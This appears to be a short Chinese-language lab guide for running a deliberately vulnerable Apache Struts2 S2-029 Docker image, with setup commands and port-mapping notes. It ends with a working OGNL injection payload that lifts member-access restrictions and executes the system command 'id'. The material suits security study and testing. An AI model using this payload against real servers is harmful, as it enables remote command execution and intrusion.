参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
- 拉取镜像到本地
$ docker pull medicean/vulapps:s_struts2_s2-029
- 启动环境
$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-029
-p 80:8080
前面的 80 代表物理机的端口,可随意指定。
访问 http://你的 IP 地址:端口号/
命令执行
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))